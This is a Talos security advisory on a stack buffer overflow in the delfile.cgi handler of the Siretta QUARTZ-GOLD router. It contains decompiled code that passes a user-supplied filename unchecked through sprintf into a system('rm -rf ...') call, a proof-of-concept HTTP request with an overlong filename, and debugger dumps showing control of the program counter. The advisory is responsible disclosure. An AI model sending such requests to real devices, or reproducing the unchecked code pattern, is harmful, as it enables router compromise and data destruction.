Talos Vulnerability Report

SUMMARY

A stack-based buffer overflow vulnerability exists in the httpd delfile.cgi functionality of Siretta QUARTZ-GOLD G5.0.1.5-210720-141020. A specially-crafted HTTP request can lead to remote code execution. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Siretta QUARTZ-GOLD G5.0.1.5-210720-141020

PRODUCT URLS

QUARTZ-GOLD - https://www.siretta.com/products/industrial-routers/4g-lte-router/gigabit-ethernet-small-footprint-lte-router-eu/

CVSSv3 SCORE

7.2 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

DETAILS

The Siretta QUARTZ-GOLD is an industrial cellular router with several features and services, such as: SSH, UPNP, VPN, SNMP and many others.

The QUARTZ-GOLD router has an web server with several functionalities, a subset of which are related to the management of external files. Indeed, the web-server offers API for uploading files, downloading them, and also deleting if no longer required.

Following the API to delete a previously uploaded file:

void delfile.cgi(void)

{
  [...]

  [... calculate the value of the base_folder variable ...]
  _filename_param = (char *)webcgi_safeget("_filename");                                                        [1]
  filename_ = "";
  if (_filename_param != (char *)0x0) {
    filename_ = _filename_param;
  }
  if (*filename_ != '\0') {
    sprintf(command_buff,"rm -rf %s/%s",base_folder,filename_);                                                 [2]
    system(command_buff);
  }
  [...]
}

The delfile.cgi expects one parameter called _filename that represents the filename of the desired file to be deleted. At [1] the uploaded parameter is taken and used at [2]. The function used at [2] is a sprintf, which does not take into consideration the size of the buffer. If the file name, provided through the _filename parameter, is longer than a certain length, the instruction at [2] would cause a stack-based buffer overflow that could lead to remote code execution.

Crash Information

$r0  : 0x1       
$r1  : 0x1       
$r2  : 0x0       
$r3  : 0x0       
$r4  : 0x61616266 ("fbaa"?)
$r5  : 0x61616366 ("fcaa"?)
$r6  : 0x243     
$r7  : 0x1       
$r8  : 0x0       
$r9  : 0x0001e66e  →  "delfile.cgi"
$r10 : 0x0001dbdc  →  0x0001e66e  →  "delfile.cgi"
$r11 : 0x7ea5b784  →  "admin"
$r12 : 0x2ae4773c  →  0x2ae33ac4  →  <_pthread_cleanup_pop_restore+0> push {r3,  lr}
$sp  : 0x7ea59070  →  "feaaffaafgaafhaafiaafjaaf"
$lr  : 0x2ae2db30  →  <free+492> pop {r0,  r1,  r2,  r3,  r4,  r5,  r6,  pc}
$pc  : 0x61616464 ("ddaa"?)
$cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
──── stack ────
0x7ea59070│+0x0000: "feaaffaafgaafhaafiaafjaaf"  ← $sp
0x7ea59074│+0x0004: "ffaafgaafhaafiaafjaaf"
0x7ea59078│+0x0008: "fgaafhaafiaafjaaf"
0x7ea5907c│+0x000c: "fhaafiaafjaaf"
0x7ea59080│+0x0010: "fiaafjaaf"
0x7ea59084│+0x0014: "fjaaf"
0x7ea59088│+0x0018: 0x312f0066 ("f"?)
0x7ea5908c│+0x001c: ".1\r\n"
──── code:arm:ARM ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616464
──── threads ────
[#0] Id 1, Name: "httpd", stopped 0x61616464 in ?? (), reason: SIGSEGV

Exploit Proof of Concept

Sending a request like the following:

POST /delfile.cgi HTTP/1.1
Host: 192.168.0.1
Authorization: Basic <a valid basic auth value>
Connection: close
Content-Length: 579

_filename=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaaf&_http_id=<the correct tid>

The status at the return address of the delfile.cgi function would be:

$r0  : 0x1       
$r1  : 0x1       
$r2  : 0x0       
$r3  : 0x0       
$r4  : 0x00019369  →  0x6e6f4300
$r5  : 0x0002272b  →  "/jffs"
$r6  : 0x243     
$r7  : 0x1       
$r8  : 0x0       
$r9  : 0x0001e66e  →  "delfile.cgi"
$r10 : 0x0001dbdc  →  0x0001e66e  →  "delfile.cgi"
$r11 : 0x7ea5b784  →  "admin"
$r12 : 0x2ae4773c  →  0x2ae33ac4  →  <_pthread_cleanup_pop_restore+0> push {r3,  lr}
$sp  : 0x7ea59064  →  "fbaafcaafdaafeaaffaafgaafhaafiaafjaaf"
$lr  : 0x2ae2db30  →  <free+492> pop {r0,  r1,  r2,  r3,  r4,  r5,  r6,  pc}
$pc  : 0x0000fa48  →   pop {r4,  r5,  pc}
$cpsr: [negative ZERO CARRY overflow interrupt fast thumb]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x7ea59064│+0x0000: "fbaafcaafdaafeaaffaafgaafhaafiaafjaaf"      ← $sp
0x7ea59068│+0x0004: "fcaafdaafeaaffaafgaafhaafiaafjaaf"
0x7ea5906c│+0x0008: "fdaafeaaffaafgaafhaafiaafjaaf"
0x7ea59070│+0x000c: "feaaffaafgaafhaafiaafjaaf"
0x7ea59074│+0x0010: "ffaafgaafhaafiaafjaaf"
0x7ea59078│+0x0014: "fgaafhaafiaafjaaf"
0x7ea5907c│+0x0018: "fhaafiaafjaaf"
0x7ea59080│+0x001c: "fiaafjaaf"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
       0xfa3c                  mov    r0,  r4
       0xfa40                  bl     0xbae4
       0xfa44                  add    sp,  sp,  #516    ; 0x204
 →     0xfa48                  pop    {r4,  r5,  pc}
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "httpd", stopped 0xfa48 in ?? (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xfa48 → pop {r4,  r5,  pc}
[#1] 0x2ae2db30 → free()

So the next instruction will populate the pc with the third dword contained in the stack, so:

gef➤  hexdump dword $sp
0x7ea59064│+0x0000   0x61616266   
0x7ea59068│+0x0004   0x61616366   
0x7ea5906c│+0x0008   0x61616466   

After the pop the pc will contain the 0x61616466 value.

TIMELINE

2022-10-14 - Initial Vendor Contact

2022-10-20 - Vendor Disclosure

2022-11-24 - Vendor Patch Release

2023-01-26 - Public Release